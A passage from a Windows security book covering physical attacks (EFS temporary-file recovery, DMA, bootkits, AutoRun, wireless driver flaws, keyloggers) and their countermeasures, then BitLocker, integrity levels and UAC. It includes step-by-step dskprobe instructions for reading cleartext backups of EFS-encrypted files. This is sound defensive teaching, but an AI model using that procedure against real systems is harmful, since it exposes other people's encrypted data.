months, depending on disk usage.\nIn a response to Rickard’s posting, Microsoft confirmed that this behavior is by design \nfor individual files that are encrypted using EFS and pointed to its paper entitled \n“Encrypting File System for Windows 2000” (see “References and Further Reading” at \nend of this chapter), which explains this clearly. It also made some suggestions for best \npractices to avoid this problem, which we discuss a bit later.\nHow could this behavior be exploited to read EFS-encrypted data? This data is easily \nread using a low-level disk editor such as dskprobe.exe from the Support Tools on the \nWindows 2000 installation CD-ROM, making it possible for any user with console access \nto the local host to read the data of the encrypted file. We discuss how to use dskprobe to \nread efs0.tmp next.\nFirst, launch dskprobe and open the appropriate physical drive for read access by \nselecting Drives | Physical Drive and double-clicking the appropriate physical drive in \nthe upper-left window. Then, click the Set Active button adjacent to this drive after it \npopulates the Handle 0 portion of this dialog. Once this is complete, you should see a \nwindow similar to Figure 11-2.\n" }, { "page_number": 384, "text": "356 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nOnce this is accomplished, the appropriate sector containing the data you wish to \nidentify must be located. Locating files on a raw physical disk can be like finding a needle \nin a haystack, but you can use dskprobe’s Tools | Search Sectors command to assist in this \nsearch. In the example shown in Figure 11-3, we search for the string efs0.tmp in sectors 0 \nto the end of the disk. Note that we have also selected Exhaustive Search, Ignore Case, \nand Unicode Characters (using ASCII does not seem to work for some reason).\nOnce the search is complete, if EFS has been used to encrypt a file on the disk being \nanalyzed and if the efs0.tmp file has not been overwritten by some other disk operation, \nit will appear in the dskprobe interface with contents revealed in cleartext. A search for \nthe string efs0.tmp may also reveal other sectors on disk that contain the string. (A file \ncalled efs0.log also contains a reference to the full path to efs0.tmp.) One way to ensure \nthat you’ve got the efs0.tmp file rather than a file containing that string is to look for the \nFILE* string in the top of the dskprobe interface. This indicates the sector contains a file. \nBoth efs0.log and efs0.tmp appear to be created in the same directory as the file that was \nencrypted, but they are not visible via standard interfaces, only through such tools as \ndskprobe. Figure 11-4 shows a sample efs0.tmp file that has been discovered in sector \n21249 open in dskprobe, revealing the cleartext content of the file (again, note the FILE* \nstring at the top, indicating that this is a file).\nAn attacker may launch dskprobe from over the network via remote shell or Terminal Server session, \nnot only from the physical console!\nWhile low-level disk editor attacks are not as straightforward as simply deleting the \nSAM or injecting hashes into it, it is another important consideration for those implementing \nEFS in environments where encrypted data may be exposed to such attacks.\nFigure 11-2 Opening PhysicalDrive0 for “read” access in dskprobe. Note that Handle0 is open and \nset as active.\n" }, { "page_number": 385, "text": "Chapter 11: Physical Attacks \n357\nFigure 11-3 Dskprobe searches the physical disk for the string efs0.tmp.\nFigure 11-4 efs0.tmp open in dskprobe, revealing the cleartext content of the fi le\n" }, { "page_number": 386, "text": "358 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nBlocking EFS Temporary File Retrieval\nIn Microsoft’s response to the Bugtraq noted previously, the company stated the plaintext \nbackup file is created only if an existing single file is encrypted. If a file is created within an \nencrypted folder, it will be encrypted right from the start, and no plaintext backup file \nwill be created. Microsoft recommends this as the preferred procedure for using EFS to \nprotect sensitive information, as described in “Encrypting File System for Windows \n2000,” page 22:\nIt is recommended that it is always better to start by creating an empty encrypted folder \nand creating fi les directly in that folder. Doing so ensures that plaintext bits of that fi le \nnever get saved anywhere on the disk. It also has a better performance as EFS does not \nneed to create a backup and then delete the backup.\nTake-home point: Rather than encrypting individual files, encrypt a folder to contain all \nEFS-protected data, and then create sensitive files only from within that directory.\nMicrosoft also released an updated version of the command-line EFS tool cipher.exe \nto correct this issue. The updated version can be used to wipe deleted data from the disk \nso that it cannot be recovered via any mechanism. The updated cipher.exe can be obtained \nfrom the URL listed in “References and Further Reading” at the end of this chapter, and \nit requires Service Pack 1.\nMake sure to install the updated cipher.exe tool using the installer program. Misuse of this tool could \nresult in data loss.\nThe updated cipher.exe tool wipes deallocated clusters from disk. Deallocated clusters \nare portions of an NTFS file system that were once used to store data but are no longer in \nuse, because the file that used the clusters shrank or it was deleted. NTFS thus marks \nthese clusters as being available for allocation to a different file if needed.\nTo overwrite the deallocated data using the new cipher.exe, do the following:\n \n1. Close all applications.\n \n2. Open a command prompt by selecting Start | Run and entering CMD at the \ncommand line.\n \n3. Type Cipher /W:<‘directory’> where <‘directory’> is any directory on the \ndrive you want to clean. For instance, typing Cipher /W:c:\\test will cause the \ndeallocated space within C:\\test to be overwritten.\nThe tool will begin running and will display a message when it’s completed. If you \nwant to wipe deallocated space off an entire drive, mount the NTFS drive as a directory \n(for instance, a drive could be mounted as C:\\folder1\\D_Drive). This usage enables \nentire NTFS drives to be cleaned.\nFor you paranoids in the audience, cipher actually performs three wipes: the first pass writes 0, the \nsecond pass writes 0xF, and the third pass writes pseudorandom data.\n" }, { "page_number": 387, "text": "Chapter 11: Physical Attacks \n359\nDevice/Media/Wireless Attacks\nAs we mentioned in Chapter 2, attacks against kernel-resident device drivers that parse \nraw input, such as from network connections or inserted media, have become increasingly \ndiscussed in research circles. These attacks shared a common thread, which is the \npropensity of Windows to permit physical/wireless hardware connections execute code \nat a very high degree of privilege. We’ll discuss some examples in this section.\nDirect Memory Access (DMA)\nPopularity:\n4\nSimplicity:\n3\nImpact:\n9\nRisk Rating:\n5\nOne of the more commonly exploited security weaknesses of the PC architecture is \nDirect Memory Access (DMA). Readers interested in more detail on DMA should see \n“References and Further Reading,” but for purposes of this chapter, DMA is best \nunderstood as a mechanism designed to bypass the operating system (and all of its \nsecurity controls) to read and write main memory. Sound like a major security \nvulnerability? Well, let’s call it a “feature.”\nUsing this “feature,” Michael Becher, Maximillian Dornseif, and Christian N. Klein \ndemonstrated an exploit at the CanSec West 2005 conference that used DMA to read \narbitrary memory locations of a FireWire-enabled system. They demonstrated an attack \nbased on an iPod running Linux that was plugged into a victim computer to perform \narbitrary commands, completely outside of operating system control or detection. David \nMaynor presaged this and many future device driver-based attacks (including some of \nthe wireless attacks we’ll discuss later) and even demonstrated a DMA attack via USB \ndevice at Toorcon 2005. David Hulton discussed attacks using DMA via CardBus (the \nPCMCIA standard) at ShmooCon in 2006. Clearly, malicious devices have a robust \nfuture.\nBootkits\nPopularity:\n5\nSimplicity:\n5\nImpact:\n9\nRisk Rating:\n6\nAnother popular physical attack mechanism is to load malicious code from the boot \nsector of bootable media (which can include hard disks, CDs, USB drives, and even \nnetwork boot points). An implementation of such an attack was presented by Derek \nSoeder and Ryan Permeh of eEye Digital Security (www.eeye.com) at the Black Hat USA \n" }, { "page_number": 388, "text": "360 \nHacking Exposed Windows: Windows Security Secrets & Solutions \n2005. The presented implementation was called eEye BootRootKit to play on the notion \nof a rootkit inserted via bootable media. Here’s eEye’s description of BootRootKit:\neEye BootRootKit is… a removable-media boot sector that situates itself to regain \nexecution later, as Windows is loading, and then seamlessly continues the boot sequence \nfrom hard drive 0. The basic concept employed is to hook INT 13h and “virtually patch” \nthe Windows OS loader as it’s read from disk, then leverage this patch to hook into \nNDIS.SYS after it has been loaded into memory and validated. The hook function’s \npurpose is simple: scan all incoming Ethernet frames for a signature in a specifi c \nlocation, and execute code (with kernel privileges) from any matching frame.\nMore recently, the term bootkit has been popularized to describe a rootkit that is able \nto load from a master boot record and persist in memory all the way through the transition \nto protected mode and the startup of the OS. Taking up where eEye left off, Nitin Kumar \nand Vipin Kumar published their work on VBootkit (for Vista bootkit), which doesn’t \nmake any modifications to on-disk files, working solely in memory to maintain stealth. \nKumar and Kumar claim to have successfully bypassed Vista’s Bitlocker Drive Encryption \n(BDE) with this technique, although results were not available as of this writing. Public \nconjecture by Microsoft (see Chapter 8) indicates that BDE should block this attack. \nKumar and Kumar are also working on a TPMKit that claims to bypass all of the \nprotections enforced by BDE even if enhanced with a Trusted Platform Module (TPM), a \nhardware module that is designed to independently attest to the integrity of key elements \nof boot process code. The attack payload commonly demonstrated elevates command \nprompts to SYSTEM privileges at timed intervals.\nOne possible scenario for a bootkit-based attack is to use the ISO CD-ROM image \n(such as the one included in eEye’s proof-of-concept package), walk up to a machine, \ninsert the bootkit CD-ROM, push the power button to reset the system, and then walk \naway. Assuming the system BIOS is configured to boot from the CD-ROM, the machine \nis then bootkitted once Windows comes back up. This dramatically lowers the amount of \ninteraction an attacker would need to compromise a system successfully if physically \nstanding in front of it, making an attack more difficult to detect visually.\nSee Chapter 8 for more details on general rootkit attacks and countermeasures.\nAutoRun\nPopularity:\n9\nSimplicity:\n6\nImpact:\n6\nRisk Rating:\n7\nSomewhat less sophisticated than bootkits are so-called AutoRun attacks, based on \nthe Windows feature of the same name that automatically runs a program specified by \nthe file autorun.inf whenever a CD-ROM, DVD, or USB drive is inserted. AutoRun can \nspecify any arbitrary program, so this has obvious implications for security. Again, we \n" }, { "page_number": 389, "text": "Chapter 11: Physical Attacks \n361\ncan contemplate scenarios in which unwitting users insert innocuous-looking CD-ROMs, \nDVDs, or USB sticks, only to be silently rootkitted as the splash screen displays. One of \nthe most highly visible distributions of cloaked software, the Sony rootkit debacle, was \nactually achieved using AutoRun functionality (see “References and Further Reading”). \nFortunately, the AutoRun feature is easily disabled, either by holding down the SHIFT key \nwhen the media is inserted or by changing the Registry value HKLM\\System\\\nCurrentControlSet\\Services\\CDRom\\Autorun to 0 and rebooting the system.\nWireless Network Connection Attacks\nPopularity:\n5\nSimplicity:\n5\nImpact:\n10\nRisk Rating:\n7\nUsing wireless networking technology, attackers may not even have to touch a system \nphysically in order to compromise it (although obviously some physical proximity is \nrequired, which is why we discuss it in this chapter). At the Defcon 14 security conference \nin 2006, Johnny Cache unveiled attacks against 802.11 wireless networking drivers that \nallowed him to compromise systems at the kernel level during the act of discovering \nlocal wireless access points.\nIn a subsequent paper on this technique (see “References and Further Reading”), \nCache, H. D. Moore, and skape illustrated real-world attacks using these techniques. The \nessence of the technique is to send the victim raw 802.11 frames that are processed while \nthe target is not authenticated or associated with a wireless access point. More specifically, \nthe authors created rogue Beacon request and Probe response frames normally used to \ndiscover and advertise nearby wireless networks. Using fuzzing, the Metasploit \nframework, and leveraging previously published Windows kernel exploit development \ntechniques, the authors discovered vulnerabilities in commercial 802.11 wireless adapter \ndrivers from BroadCom (oversized SSID in beacon and directed probe responses caused \nstack overflows), D-Link (oversized Supported Rates information element triggered \nstack overflow when beaconed to vulnerable clients within range), and NetGear \n(oversized SSID, Supported Rates, and Channel information elements triggered \nstack overflow) that all resulted in kernel-level compromise of the target system, simply \nafter receiving specially crafted 802.11 frames.\nOne scenario for implementing such an attack is via so-called evil twins—rogue access \npoints set up to look like legitimate hotspots (for example, T-Mobile hotspots at coffee \nshops). Figure 11-5 shows Windows Wireless Network Connection browser surveying \npotentially malicious access points. This concept was discussed as far back as 2002 by \nInternet Security Systems in a paper about wireless base station cloning, and it has gotten \nmore attention as wireless technology has proliferated. A related attack known as \npromiscuous client involves a rogue access point or ad hoc station that provides an \nirresistibly strong signal and becomes the preferred network connection. The next time \nyou’re sipping coffee at your local café and decide to open your laptop to view available \nwireless hotspots, think twice!\n" }, { "page_number": 390, "text": "362 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nAlthough we haven’t seen research, we imagine that similar attacks against Bluetooth \nare feasible as well. Robust communities are already dedicated to sending unsolicited \nmessages via Bluetooth to nearby unsuspecting recipients (so-called “Bluejacking”) as \nwell as the more dangerous “Bluesnarfing,” which attempts unauthorized access to the \nvictim device. We recommend turning of the “discoverable” setting on your Bluetooth-\ncapable devices to mitigate these types of attacks.\nKeyboard Loggers\nPopularity:\n7\nSimplicity:\n4\nImpact:\n9\nRisk Rating:\n7\nLast, but not least, we discuss hardware keyboard loggers to close out this section on \nphysical attacks. Such devices can be spliced between the keyboard and computer and \ncan record every keystroke without the operating system noticing. Although probably \nthe least sexy of the attacks we’ve discussed so far, we nevertheless bring them up as \nFigure 11-5 Wireless connectivity or compromise in waiting?\n" }, { "page_number": 391, "text": "Chapter 11: Physical Attacks \n363\nthey are obviously highly effective in compromising sensitive information in a manner \nthat is often difficult to detect without regular physical inspection. And with modern \nUSB keyboard cables that don’t require OS interaction to unplug/replug the keyboard, \nthis sort of attack is easy to carry out and difficult to detect.\nCountermeasures to Device/Media/Network Connection Attacks\nSince the attacks we’ve described primarily result from flaws in software device drivers \nproduced by the device manufacturers, the average user can do little to defend against \nthem beyond keeping the device software updated. Your only alternative is to be very \ncircumspect with connections from devices, media, or networks. It’s generally easy to \nrefuse manually inserted devices or media from untrustworthy sources, but with mostly \ninvisible wireless connections the challenge is greater. We recommend using hardware \nthat provides a wireless radio on/off switch, and switching it to “Off” where feasible \n(such as when traveling through “hostile” environments such as heavily populated \nmetropolitan areas or airports where wireless access points are plentiful and few would \nnotice a rogue AP). Remember that it takes only one beacon packet from an evil wireless \naccess point to compromise your machine!\nDon’t be confused: wireless encryption standards, Secure Sockets Layer (SSL), and/or virtual private \nnetwork/networking (VPN) mechanisms don’t protect you against these types of attacks. The \ncompromise occurs at the link layer, before any of the standard communications encryption techniques \nbecome relevant.\nSUMMARY\nBy now, you should understand that any intruder who gains unrestricted physical access \nto a Windows system is capable of accessing just about any data he could desire on that \nsystem. As Microsoft Trustworthy Computing Team member Scott Culp writes in his \n“Ten Immutable Laws of Security” (see “References and Further Reading” for the link): \n“Law #3: If a bad guy has unrestricted physical access to your computer, it’s not your \ncomputer anymore.”\nBecause of the tremendous advantage enjoyed by an attacker with physical access, \nthe best countermeasures should always include the classic mechanisms: keep systems \nphysically secure (using locks, monitoring, and/or alarms as appropriate for the room, \ncomputer case, and/or mobile device), remove or disable bootable removable media \ndrives, and set a BIOS password that must be entered before the system can be \nbootstrapped. Optimally, set a password for hard drive access using ATA-3 specs or \ngreater. Effective monitoring and alerting procedures are also important, so even if \nsomeone does manage to get to a machine, at least their actions are recorded (such as via \nvideo surveillance) and the proper authorities are notified. We recommend using all of \nthese mechanisms where physical security risks are high.\nYou can do some things to mitigate risk from physical attacks using Windows \nfeatures, including Vista’s Bitlocker Drive Encryption (BDE), implementing EFS in the \ncontext of a domain, and using SYSKEY mode 2 or 3. Pay attention to the domain logon \ncache, lest these credentials be used to attack a user’s locally cached credentials.\n" }, { "page_number": 392, "text": "364 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nFinally, we briefly examined some new attacks against hardware device drivers, the \nmost alarming of which were attacks on wireless networking adapters that could result \nin system compromise simply by receiving invisible communications over the air from a \nrogue wireless access point. There is little that can be done to defend against such attacks \ntoday other than to switch off wireless radios when in untrusted environments.\nAnd for those who think we’re a little too paranoid about the risk of physical attack, \nremember this chapter the next time you haul your laptop with 80 gigabytes of data \nthrough a busy airport!\nREFERENCES AND FURTHER READING\nReference\nLocation\nTools\nERD Commander \n(no longer available \nfor purchase)\nwww.microsoft.com/systemcenter/winternals.mspx\nWindows \nPreinstallation \nEnvironment \n(WinPE)\nwww.microsoft.com/licensing/sa/benefi ts/winpe.mspx\nBartPE\nwww.nu2.nu/pebuilder/\nBootdisk.com\nwww.bootdisk.com/\nOffl ine NT Password \n& Registry Editor \n(chntpw)\nhttp://home.eunet.no/~pnordahl/ntpasswd/\nImproved version of \nthe cipher.exe tool \nthat can permanently \noverwrite all of the \ndeleted data on a \nhard drive\nwww.microsoft.com/technet/security/tools/cipher.mspx\nEfsinfo.exe,\ndetermines\ninformation about \nEFS-encrypted fi les\nhttp://support.microsoft.com/?kbid=243026\ndskprobe.exe\nWindows 2000 Support Tools on the Windows 2000 \ninstallation CD-ROM\n" }, { "page_number": 393, "text": "Chapter 11: Physical Attacks \n365\nReference\nLocation\nGeneral References\nMicrosoft EFS \nTechnical Overview\nwww.microsoft.com/technet/security/guidance/\nclientsecurity/dataencryption/analysis/default.mspx\nSummary of original \nGrace and Bartlett \npaper by ISS\nSearch Subject = “ISS SAVANT Advisory 00/26” on \nNtbugtraq.com\nCached logon \ninformation\nhttp://support.microsoft.com/?kbid=172931\nTodd Sabin’s Bugtraq \npost “Attacking \nEFS through cached \ndomain logon \ncredentials”\nseclists.org/bugtraq/2003/Jan/0161.html\nDirect Memory \nAccess (DMA)\nhttp://en.wikipedia.org/wiki/Direct_memory_access\nDavid Maynor’s USB \nDMA attack demo at \nToorcon 2005\nSearch for “dmaynor-youarethetrojan.pdf”\neEye BootRoot\nhttp://research.eeye.com/html/tools/\nVBootkit by Vipin \nKumar and Nitin \nKumar\nhttp://conference.hitb.org/hitbsecconf2007dubai/\nmaterials/\nVBootkit vs. Bitlocker \nin TPM mode\nhttp://blogs.technet.com/robert_hensing/archive/ \n2007/04/05/vbootkit-vs-bitlocker-in-tpm-mode.aspx\nNitin Vipin’s blog on \nVbootkit\nwww.nvlabs.in/?q=blog/4\nHow to Enable or \nDisable AutoRun\nhttp://support.microsoft.com/kb/155217\n“Sony, Rootkits \nand Digital Rights \nManagement Gone \nToo Far,” by Mark \nRussinovich\nhttp://blogs.technet.com/markrussinovich/\narchive/2005/10/31/sony-rootkits-and-digital-rights-\nmanagement-gone-too-far.aspx\n“Exploiting 802.11 \nWireless Driver \nVulnerabilities \non Windows,” by \nJohnny Cache, H.D. \nMoore, skape\nhttp://uninformed.org/?v=6&a=2&t=sumry\n" }, { "page_number": 394, "text": "366 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nReference\nLocation\nBluejacking\nhttp://en.wikipedia.org/wiki/Bluejacking\nBluesnarfi ng\nhttp://en.wikipedia.org/wiki/Bluesnarfi ng\nScott Culp’s “Ten \nImmutable Laws of \nSecurity”\nwww.microsoft.com/technet/archive/community/\ncolumns/security/essays/10imlaws.mspx?mfr=true\n" }, { "page_number": 395, "text": "367\n12\nWindows \nSecurity \nFeatures and \nTools\n" }, { "page_number": 396, "text": "368 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nT\nhroughout this book, we have periodically stressed the concept of “raising the \nbar” for attackers. This concept is based on the theory that a 100 percent secure \nenvironment is unachievable. The best you can strive for is to make the attacker’s job \nas difficult as possible. To its credit, Microsoft continues to improve the ease of securing the \nOS. In fact, many of the most effective and pervasive security features found in Windows \nXP SP2, Server 2003 SP1, Vista, and Server 2008 operate behind the scenes. Enhancements \nhave improved how memory is allocated and freed, compilers are generating applications \nthat are more resilient to implementation flaws (such as buffer overflows), exception \nhandlers have become more intelligent, and the list goes on. Many of these countermeasures \nrequire no configuration or understanding to reap their benefits.\nThis chapter is dedicated to a discussion of the following features and tools that have \nbeen integrated into the operating system over the course of its evolution through \nWindows XP SP2, Server 2003 SP1, Vista, and Server 2008:\n• BitLocker\n• Windows Integrity Control\n• User Account Control\n• Vista Service Refactoring/Hardening\n• Windows Resource Protection (WRP)\n• SafeSEH\n• GS\n• Stack Changes\n• Address Space Layout Randomization\nThis is by no means a comprehensive list of all of the security-related functionality \nimplemented in Windows; rather, it highlights what we believe are the most useful \n“under-the-covers” security features of the OS that address the vulnerabilities discussed \nin this book. We’ve decided to focus on these less-visible features since we’ve already \ndiscussed many of the more visible features at length throughout the book, including the \nWindows Firewall, Group Policy, IPSec, and the Encrypting File System (EFS). In addition, \nwhile we are not going to cover each of these features exhaustively, we will focus \nspecifically on how they can be used to counter the attacks discussed in this book.\nBITLOCKER DRIVE ENCRYPTION\nWith the introduction of Windows Server and Windows Vista came an additional security \nfeature, BitLocker Drive Encryption (BDE, or BitLocker), which protects the confidentiality \nand integrity of the operating system volume during the boot sequence and while the \noperating system is not loaded. Windows Server will also extend this capability to protect \ndata volumes as well. BDE was designed to mitigate offline attacks, such as removing \nthe physical drive from a lost or stolen laptop and accessing the data from an attacker-\ncontrolled operating system. In the following section we discuss the various configuration \noptions for BitLocker and their prerequisites.\n" }, { "page_number": 397, "text": "Chapter 12: Windows Security Features and Tools \n369\nBitLocker Confi gurations\nAs mentioned, BitLocker can be configured in a variety of ways. In this section we discuss \neach, along with its strengths, weaknesses, and prerequisites. BitLocker can be configured \nto operate in the following modes:\n• BitLocker with a Trusted Platform Module (TPM)\n• BitLocker with a TPM + Startup PIN\n• BitLocker with a TPM + USB Token\n• BitLocker without TPM\n• BitLocker without TPM + USB\n• BitLocker without TPM + Startup PIN\nMicrosoft provides an excellent step-by-step procedure for configuring your system in each of these \nscenarios at http://technet.microsoft.com/en-us/windowsvista/aa905092.aspx.\nDepending on the desired configuration for BitLocker, your system must also satisfy \nother hardware and software prerequisites. To determine whether your Windows Vista \ncomputer meets these requirements, perform the following steps:\n \n1. Click Start.\n \n2. Click Control Panel.\n \n3. Click Security.\n \n4. Click BitLocker Drive Encryption.\nIf your computer configuration meets all prerequisites, you will see the screen shown in \nFigure 12-1.\nAt a high level, these configuration options represent different combinations of the \nfollowing:\n• Systems with the TPM\n• Systems without the TPM\n• Systems using single-factor authentication\n• Systems using two-factor authentication\nOf these, the most secure configuration is a system that has a TPM and utilizes two-\nfactor authentication, and here’s why: The TPM provides BitLocker with the ability to \nvalidate each component of the boot process. This ensures the platform is in a known \nsecure state before decrypting the volume. (We will touch more on this a bit later in the \nsection “BitLocker with TPM.”)\nWith most authentication systems, and barring implementation flaws, the degree of \ndifficulty to authenticate as another principal increases with the number of “factors”—\neach factor introduces an additional test that must be passed by the entity attempting to \nauthenticate. Common authentication factors include the following:\n• Something you have\n" }, { "page_number": 398, "text": "370 \nHacking Exposed Windows: Windows Security Secrets & Solutions \n• Something you know\n• Something you are\nCurrently, BitLocker supports two of these: something you have (a USB or TPM), and \nsomething you know (a PIN). In the next section, we take a deeper look at the desired \nsolution—BitLocker equipped with a TPM and an additional form of authentication, \nsuch as a PIN or USB token.\nBitLocker with TPM\nThe preferred BitLocker configuration leans heavily on a technology designed by the \nTrusted Computing Group, called a Trusted Platform Module. A TPM is a microcontroller \nthat resides on the computer’s motherboard and is utilized primarily for protecting the \nconfidentiality of encryption keys and validating the integrity of early boot components, \nsuch as the BIOS, Master Boot Record, and boot sector. BitLocker utilizes the TPM for \nfull-volume encryption by storing the root encryption key on the TPM hardware. By \nmoving the encryption key from the hard drive to a device that is resilient to software-\nFigure 12-1 System that satisfi es BitLocker prerequisites\n" }, { "page_number": 399, "text": "Chapter 12: Windows Security Features and Tools \n371\nbased attacks, the confidentiality of this key, and ultimately the volume, is ensured. \nHowever, there are a couple caveats to this:\n• The TPM is not designed to resist sophisticated hardware attacks.\n• Once the operating system is booted, protection is out of the TPM’s hands.\nWhile protection may be out of the TPM’s hands, integrity checking can still be accomplished, \nespecially where BootRoot-style rootkits alter the boot record. The TPM will allow for the detection of \nboot sector alterations once the operating system is up and running.\nIn addition to storing the encryption key, BitLocker utilizes the TPM to collect and \nstore measurements of components involved with the boot process. These characteristics \nact as a digital fingerprint of the system that is acquired when the system is known to be \nin a secure state. This fingerprint will remain constant in the absence of any deliberate \nmodifications. Some legitimate instances, such as upgrading the BIOS, may cause this \nfingerprint to change, and BitLocker has procedures for this. However, if an unplanned \nmodification to any of these characteristics occurs, they are considered unauthorized. \nDuring subsequent boot processes, these characteristics are reacquired and compared to \nthe original set. If the fingerprints do not match, the system is considered untrustworthy \nand the boot process is halted. If the fingerprints do match, the TPM decrypts the keys \nused to encrypt the volume, and execution is passed to the operating system.\nBecause BitLocker relies on the TPM, we will spend some time discussing its finer \npoints, including the mechanisms that support the boot validation process and the \nactions taken during the boot validation process.\nThe Role of the Trusted Platform Module\nBefore we jump into the details of the boot validation process, we will briefly discuss the \nTPM capabilities that support it. The TPM provides BitLocker with the ability to encrypt \ncryptographic keys in such a manner that they can be decrypted only by the TPM chip \nthat encrypted them. However, this must occur during recovery scenarios in which a \nrecovery key or recovery password will allow decryption. To achieve this, each TPM \ncontains an asymmetric key called the Storage Root Key (SRK), which is used to protect \nthe confidentiality of other keys. This process is commonly referred to as key “wrapping.” \nLike other asymmetric key deployments, the private portion of the SRK is never shared. \nAdditionally, the private portion of the SRK is not at risk to software-based attacks \nbecause the TPM maintains separation between it and memory accessible by the operating \nsystem.\nThis wrapping process can be taken a step further, and this is one of the cornerstones \nof BitLocker. The TPM can wrap a key in such a manner that it cannot be unwrapped \nunless current platform characteristics are equivalent to those during the time the key \nwas created. This capability, called “sealing,” is utilized by BitLocker to create a Volume \nMaster Key (VMK), which protects the Full Volume Encryption Key (FVEK), which is \nultimately used to encrypt the operating system and data volumes. By utilizing a sealed \nkey, sensitive data cannot be decrypted outside the context of a Trusted Computing \nPlatform.\n" }, { "page_number": 400, "text": "372 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nDetermining Trustworthiness During the Boot Sequence\nDetermining the trustworthiness of a platform in the absence of a trusted hardware \ncomponent is an extremely difficult task. This is because an attacker can reverse-engineer \nand modify the very software components used to protect and validate the platform. The \nTPM solves this problem by providing the platform with a trusted entity that can anchor \na chain of trust, which we will dig into now.\nUpon initializing BitLocker, when the platform is in a known secure state, the TPM’s \nStatic Root of Trust Measurement (SRTM) mechanism is utilized to measure various \ncomponents of the platform and stores a digest of each measurement in a secure location \nwithin the TPM, called Platform Configuration Registers (PCR). Upon boot, PCRs 0 \nthrough 15 are reset and execution is passed to a trusted portion of the TPM firmware \nthat comprises, in part, the Core Root of Trust Measurement (CRTM). This kickstarts a \nseries of validations and execution handoffs until the operating system is loaded. During \nthis process, each boot component is first validated before execution is passed, which \nensures the chain of trust is never broken.\nThe default TPM platform validation mechanism ensures the following platform \ncomponents have not been tampered with. Validation and execution is performed in this \norder as well:\n• Core Root of Trust Measurement (CRTM)\n• BIOS\n• Platform extensions\n• Option ROM code\n• Master Boot Record\n• Boot sector\n• Boot block\n• Boot Manager\n• OS Loader\n• Operating system\nAt this point, the operating system is responsible for validating and ensuring the \nintegrity of the platform. In upcoming sections, we discuss features of Windows that \npick up where the secure boot process left off.\nWINDOWS INTEGRITY CONTROL\nOne of the most exciting new features in Vista is the adoption of Mandatory Access \nControl Lists (MACLs), which are provided in the form of integrity levels. Vista supports \nfour integrity levels: Low, Medium, High, and System. Integrity levels allow Vista to \nmake security decisions based on how trusted an object is. A great example of this is \nInternet Explorer, which has a fairly long history of security issues and is, due to its very \nnature, commonly exposed to the Internet. As such, it may be wise to consider IE fairly \n" }, { "page_number": 401, "text": "Chapter 12: Windows Security Features and Tools \n373\nsuspect. With this in mind, on a default install of Vista, IE is assigned an integrity level \nof Low, which prevents IE processes from modifying any object with a higher integrity \nlevel. We can observe this by running Process Explorer, as shown in Figure 12-2.\nThis low-integrity level implementation of IE 7 on Vista is also referred to as Protected Mode IE \n(PMIE).\nIt’s also important to note that integrity levels, which are stored in the object’s System \nAccess Control List (SACL, used for generating audit records), trump grants within \nDiscretionary Access Control Lists (DACL), such as file permissions. For example, if an \nAdministrator is running a low integrity process that attempts to write to fun places like \nC:\\ or C:\\Users, the attempts will fail, regardless of DACLs granting Administrators \nFull Control. This is because the default integrity level of all objects on Vista is set to \nMedium. However, by default, most SACLs do not prevent lower integrity objects from \nreading or executing higher integrity objects: this is left up to the DACL. Support is \navailable for such capabilities, however. According to MSDN, an object’s SACL can \ncontain the following:\n• SYSTEM_MANDATORY_LABEL_NO_WRITE_UP\n• SYSTEM_MANDATORY_LABEL_NO_READ_UP\n• SYSTEM_MANDATORY_LABEL_NO_EXECUTE_UP\nWith these, we can raise the bar a bit more by preventing lower integrity processes from \nreading or executing data that exists at a higher integrity level.\nFigure 12-2 Process Explorer showing IE executing with Low integrity\n" }, { "page_number": 402, "text": "374 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nManaging Integrity Levels\nSo how do you configure this stuff? Along with Vista comes another tool, icacls, which \nallows us to establish and query the integrity levels for an object. The following listing \ndemonstrates setting the C:\\TempLow directory’s integrity level to Low:\nc:\\>icacls TempLow /setintegritylevel L\nprocessed file: TempLow\nSuccessfully processed 1 files; Failed processing 0 files\nc:\\>icacls TempLow\nTempLow BUILTIN\\Administrators:(I)(F)\nBUILTIN\\Administrators:(I)(OI)(CI)(IO)(F)\n …\nMandatory Label\\Low Mandatory Level:(NW)\nSuccessfully processed 1 files; Failed processing 0 files\nYou can see that the integrity level for TempLow is now set to Low Mandatory Level. Along \nwith this new capability, managing integrity levels, comes a new user right: Modify An \nObject Label, which is configurable in the Local Security Policy, as shown in Figure 12-3.\nThis right is required to modify the integrity level of an object and, by default, is not \ngranted to any user or group. So how were we able to modify the integrity level of the \nTempLow directory in the example? We own the folder. Vista allows us to alter the \nintegrity level of any object we own, provided we aren’t attempting to set the integrity \nlevel higher than our own level. If a user or application were able to set an object’s \nintegrity level above their own level, the entire integrity system would collapse.\nFigure 12-3 Modifying an object label user right\n" }, { "page_number": 403, "text": "Chapter 12: Windows Security Features and Tools \n375\nUSER ACCOUNT CONTROL\nUser Account Control (UAC) is one of the most discussed and visible aspects of the Windows \nVista operating system. This is probably because, unless you’ve disabled it, it requires your \nattention more often than any other Windows security feature. On that note, Microsoft \npublicly states that UAC is not a security boundary, but merely an opportunity for the user \nto make a decision on whether an action should take place or not. Given that many attacks \nthese days require some form of user intervention, UAC does raise the proverbial bar for \nattackers. As such, we will discuss some of the finer points of UAC in this section.\nThe principle of least privilege is by no means a new concept. In fact, if you’ve been in \nthe security realm long you’ve heard the phrase more times than you’d care to count. \nThen why, for such a simple concept, is it so difficult to implement? In the software \nworld, two primary factors exist: usability and compatibility. Users and enterprises want \na solution that they can use straight out of the box and have it play nice with older or \ndisparate systems. Typically, the application of security controls hinders one, or both, of \nthese, so the user (or enterprise) disables the security feature and we’re back at square \none. Who’s to blame them though? In previous versions of Windows, if you wanted to \nchange your time zone, power settings, install a printer driver, or connect to a wireless \nnetwork that required a shared secret, you couldn’t do it as a regular user. So you, as a \nuser or person responsible for an enterprise full of complaining users, decide that \nbumping things up to local administrator sounds great. Now the security folks are \nunhappy because users are unknowingly installing evil on their machines.\nThe challenge here is to create a solution that makes everyone, including the security \nfolks, sleep better at night. That solution involves adding a notch or two between no \naccess and full access. This is exactly what Microsoft did when considering how to secure \nthe Windows Vista operating systems.\nTokens and Processes\nAs discussed in Chapter 2, when a Windows process is created, its access token is \npopulated with the Security Identifier (SID) of the invoking user, the SID of the groups \nto which the user belongs, the 